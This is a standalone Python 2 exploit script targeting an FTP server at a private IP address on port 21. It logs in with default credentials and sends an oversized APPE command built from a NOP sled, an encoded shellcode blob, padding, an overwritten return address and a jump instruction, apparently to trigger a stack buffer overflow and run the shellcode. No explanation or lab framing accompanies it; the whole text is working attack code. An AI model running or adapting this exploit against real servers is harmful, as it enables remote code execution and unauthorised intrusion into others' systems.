#!/usr/bin/python
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buf = ("\xd9\xc3\xbe\x87\xe4\x98\x64\xd9\x74\x24\xf4\x5a\x29\xc9\xb1"
"\x56\x31\x72\x18\x03\x72\x18\x83\xc2\x83\x06\x6d\x98\x63\x4f"
"\x8e\x61\x73\x30\x06\x84\x42\x62\x7c\xcc\xf6\xb2\xf6\x80\xfa"
"\x39\x5a\x31\x89\x4c\x73\x36\x3a\xfa\xa5\x79\xbb\xca\x69\xd5"
"\x7f\x4c\x16\x24\x53\xae\x27\xe7\xa6\xaf\x60\x1a\x48\xfd\x39"
"\x50\xfa\x12\x4d\x24\xc6\x13\x81\x22\x76\x6c\xa4\xf5\x02\xc6"
"\xa7\x25\xba\x5d\xef\xdd\xb1\x3a\xd0\xdc\x16\x59\x2c\x96\x13"
"\xaa\xc6\x29\xf5\xe2\x27\x18\x39\xa8\x19\x94\xb4\xb0\x5e\x13"
"\x26\xc7\x94\x67\xdb\xd0\x6e\x15\x07\x54\x73\xbd\xcc\xce\x57"
"\x3f\x01\x88\x1c\x33\xee\xde\x7b\x50\xf1\x33\xf0\x6c\x7a\xb2"
"\xd7\xe4\x38\x91\xf3\xad\x9b\xb8\xa2\x0b\x4a\xc4\xb5\xf4\x33"
"\x60\xbd\x17\x20\x12\x9c\x7f\x85\x29\x1f\x80\x81\x3a\x6c\xb2"
"\x0e\x91\xfa\xfe\xc7\x3f\xfc\x01\xf2\xf8\x92\xff\xfc\xf8\xbb"
"\x3b\xa8\xa8\xd3\xea\xd0\x22\x24\x12\x05\xe4\x74\xbc\xf5\x45"
"\x25\x7c\xa5\x2d\x2f\x73\x9a\x4e\x50\x59\xad\x48\x9e\xb9\xfe"
"\x3e\xe3\x3d\x11\xe3\x6a\xdb\x7b\x0b\x3b\x73\x13\xe9\x18\x4c"
"\x84\x12\x4b\xe0\x1d\x85\xc3\xee\x99\xaa\xd3\x24\x8a\x07\x7b"
"\xaf\x58\x44\xb8\xce\x5f\x41\xe8\x99\x58\x02\x62\xf4\x2b\xb2"
"\x73\xdd\xdb\x57\xe1\xba\x1b\x11\x1a\x15\x4c\x76\xec\x6c\x18"
"\x6a\x57\xc7\x3e\x77\x01\x20\xfa\xac\xf2\xaf\x03\x20\x4e\x94"
"\x13\xfc\x4f\x90\x47\x50\x06\x4e\x31\x16\xf0\x20\xeb\xc0\xaf"
"\xea\x7b\x94\x83\x2c\xfd\x99\xc9\xda\xe1\x28\xa4\x9a\x1e\x84"
"\x20\x2b\x67\xf8\xd0\xd4\xb2\xb8\xe1\x9e\x9e\xe9\x69\x47\x4b"
"\xa8\xf7\x78\xa6\xef\x01\xfb\x42\x90\xf5\xe3\x27\x95\xb2\xa3"
"\xd4\xe7\xab\x41\xda\x54\xcb\x43")

eip = '\xcf\x2e\xe3\x73'
jmp = '\xe9\x11\xfc\xff\xff'

buffer = '\x90' * 20 + buf + '\x42' * 578 + eip + '\x43' * 48 + jmp

print "\nSending buffer..."

s.connect(('192.168.15.8',21))
data=s.recv(1024)
s.send('USER ftp' + '\r\n')
data=s.recv(1024)
s.send('PASS ftp' + '\r\n')
data=s.recv(1024)
s.send('APPE ' +buffer+'\r\n')
s.close()